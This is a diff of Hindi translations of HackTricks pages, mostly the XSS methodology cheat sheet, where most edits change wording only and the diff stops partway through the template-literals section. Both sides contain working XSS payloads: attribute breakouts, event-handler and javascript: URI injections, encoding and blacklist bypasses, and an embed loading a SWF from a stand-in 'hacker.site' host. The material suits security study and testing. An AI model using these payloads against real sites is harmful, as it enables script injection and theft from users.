[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
|
||||
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक बिंदु है।
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -970,8 +1016,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।**
|
||||
* **HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अजेय को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
|||
|
||||
1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परावर्तित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**।
|
||||
2. **संदर्भ खोजें** जहां यह परावर्तित/उपयोग किया गया है।
|
||||
3. यदि **परावर्तित** है:
|
||||
3. यदि **परावर्तित** है
|
||||
1. जांचें **आप कौन से प्रतीकों का उपयोग कर सकते हैं** और उसके आधार पर, पेलोड तैयार करें:
|
||||
1. **कच्चे HTML** में:
|
||||
1. क्या आप नए HTML टैग बना सकते हैं?
|
||||
|
@ -21,17 +21,17 @@
|
|||
2. एक **HTML टैग** के अंदर:
|
||||
1. क्या आप कच्चे HTML संदर्भ में बाहर निकल सकते हैं?
|
||||
2. क्या आप JS कोड निष्पादित करने के लिए नए इवेंट/विशेषताएँ बना सकते हैं?
|
||||
3. क्या उस विशेषता में जहां आप फंसे हैं, JS निष्पादन का समर्थन है?
|
||||
3. क्या जिस विशेषता में आप फंसे हैं वह JS निष्पादन का समर्थन करती है?
|
||||
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
|
||||
3. **JavaScript कोड** के अंदर:
|
||||
1. क्या आप `<script>` टैग को बचा सकते हैं?
|
||||
2. क्या आप स्ट्रिंग को बचा सकते हैं और विभिन्न JS कोड निष्पादित कर सकते हैं?
|
||||
3. क्या आपका इनपुट टेम्पलेट लिटेरल \`\` में है?
|
||||
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है
|
||||
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया गया**:
|
||||
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
|
||||
जब आप एक जटिल XSS पर काम कर रहे हों तो जानना दिलचस्प हो सकता है:
|
||||
|
||||
|
@ -41,7 +41,7 @@
|
|||
|
||||
## परावर्तित मान
|
||||
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है**।
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है।**
|
||||
|
||||
* **अंतरिम रूप से परावर्तित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परावर्तित हो रहा है, तो आप **परावर्तित XSS** का शोषण कर सकते हैं।
|
||||
* **संग्रहीत और परावर्तित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परावर्तित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
|
@ -53,17 +53,17 @@ XSS का सफलतापूर्वक शोषण करने के
|
|||
|
||||
### कच्चा HTML
|
||||
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** हो रहा है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
|
||||
|
||||
### HTML टैग विशेषता के अंदर
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित होता है, तो आप कोशिश कर सकते हैं:
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित हो रहा है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो आप टैग के आधार पर **एक इवेंट** बना सकते हैं जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित होता है, तो आप इस vuln का दुरुपयोग करने के लिए **`accesskey`** ट्रिक आजमा सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित हो रहा है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
```html
|
||||
|
@ -75,7 +75,7 @@ XSS का सफलतापूर्वक शोषण करने के
|
|||
|
||||
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
|
||||
|
||||
* यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने की कोशिश कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए, यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
* यदि **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए, यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
|
||||
* यदि **JS स्ट्रिंग** के अंदर परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -100,11 +100,11 @@ Javascript Hoisting उस अवसर को संदर्भित कर
|
|||
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए पैरामीटर के रूप में कार्य का नाम स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
यदि यह संवेदनशील है, तो आप **एक अलर्ट ट्रिगर कर सकते हैं** केवल मान भेजकर: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
|
||||
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
|
||||
|
||||
हालांकि, उस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
|
||||
|
||||
|
@ -122,7 +122,7 @@ parentElement
|
|||
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया था:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -155,8 +155,8 @@ parentElement
|
|||
|
||||
## कच्चे HTML के अंदर इंजेक्ट करना
|
||||
|
||||
जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी है वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\
|
||||
इन मामलों के लिए भी **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
|
||||
जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\
|
||||
इन मामलों के लिए **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
|
||||
_**नोट: एक HTML टिप्पणी को बंद करने के लिए\*\*\*\***** ****`-->`**** ****या \*\*\*\*****`--!>`**_
|
||||
|
||||
इस मामले में और यदि कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया गया है, तो आप ऐसे पे लोड का उपयोग कर सकते हैं:
|
||||
|
@ -247,18 +247,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
यदि इस कमजोरी का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ कमजोर है)।
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **भेद्यता का लाभ उठा सकते हैं** **बिना** **JS** कोड निष्पादित किए।
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए इस कमजोरी का **लाभ उठा सकते हैं**।
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है टैग से **escape** करना और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से escape नहीं कर सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ payload का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से escape करने के लिए डबल उद्धरण का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
```
|
||||
### Within the attribute
|
||||
|
||||
यहां तक कि अगर आप **attribute से बाहर नहीं निकल सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
यहां तक कि अगर आप **attribute से भाग नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
|
||||
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए कुछ इस तरह का मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
|
||||
```javascript
|
||||
|
@ -309,7 +309,7 @@ HTML टैग के attributes के मान के अंदर **HTML ए
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### विशेष प्रोटोकॉल एट्रिब्यूट के भीतर
|
||||
### विशेष प्रोटोकॉल विशेषता के भीतर
|
||||
|
||||
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
```javascript
|
||||
|
@ -353,13 +353,13 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**अन्य ओबफस्केशन ट्रिक्स**
|
||||
**अन्य ओब्फ़स्केशन ट्रिक्स**
|
||||
|
||||
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।**_
|
||||
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक विशेषता के अंदर हैं।**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
इसके अलावा, इन मामलों के लिए एक और **अच्छा ट्रिक** है: **भले ही आपका इनपुट `javascript:...` के अंदर URL एन्कोडेड हो, यह निष्पादन से पहले URL डिकोड किया जाएगा।** इसलिए, यदि आपको **स्ट्रिंग** से **एकल उद्धरण** का **एस्केप** करना है और आप देखते हैं कि **यह URL एन्कोडेड है**, तो याद रखें कि **इससे कोई फर्क नहीं पड़ता,** यह **निष्पादन** के समय **एकल उद्धरण** के रूप में **व्याख्यायित** किया जाएगा।
|
||||
इसके अलावा, इन मामलों के लिए एक और **अच्छा ट्रिक** है: **भले ही आपका इनपुट `javascript:...` के अंदर URL एन्कोडेड हो, यह निष्पादन से पहले URL डिकोड किया जाएगा।** इसलिए, यदि आपको **स्ट्रिंग** से **एकल उद्धरण** का **एस्केप** करना है और आप देखते हैं कि **यह URL एन्कोडेड है**, तो याद रखें कि **इससे कोई फर्क नहीं पड़ता,** इसे **निष्पादन** के समय **एकल उद्धरण** के रूप में **व्याख्यायित** किया जाएगा।
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -369,7 +369,7 @@ _**इस मामले में, पिछले अनुभाग से H
|
|||
|
||||
**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना**
|
||||
|
||||
आप **Hex** और **Octal एन्कोड** को `iframe` के `src` विशेषता के अंदर (कम से कम) **JS निष्पादित करने के लिए HTML टैग घोषित करने** के लिए उपयोग कर सकते हैं:
|
||||
आप **Hex** और **Octal एन्कोड** का उपयोग `iframe` के `src` विशेषता के अंदर (कम से कम) **JS निष्पादित करने के लिए HTML टैग घोषित करने** के लिए कर सकते हैं:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -394,7 +394,7 @@ _**इस मामले में, पिछले अनुभाग से H
|
|||
### इवेंट हैंडलर्स बायपास पर
|
||||
|
||||
सबसे पहले इस पृष्ठ की जांच करें ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) उपयोगी **"on" इवेंट हैंडलर्स** के लिए।\
|
||||
यदि कोई ब्लैकलिस्ट है जो आपको इन इवेंट हैंडलर्स को बनाने से रोक रही है, तो आप निम्नलिखित बायपास आजमा सकते हैं:
|
||||
यदि कोई ब्लैकलिस्ट है जो आपको इन इवेंट हैंडलर्स को बनाने से रोक रही है, तो आप निम्नलिखित बायपास का प्रयास कर सकते हैं:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -416,7 +416,7 @@ From [**यहाँ**](https://portswigger.net/research/exploiting-xss-in-hidde
|
|||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
और **मेटा टैग्स** में:
|
||||
और **meta tags** में:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -450,7 +450,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप **उस तत्व द्वारा कब्जा की गई जगह को संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -474,7 +474,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
### \<script> टैग को एस्केप करना
|
||||
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से `<script>` टैग को **एस्केप** कर सकते हैं:
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से `<script>` टैग को **बंद करके एस्केप** कर सकते हैं:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -490,7 +490,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
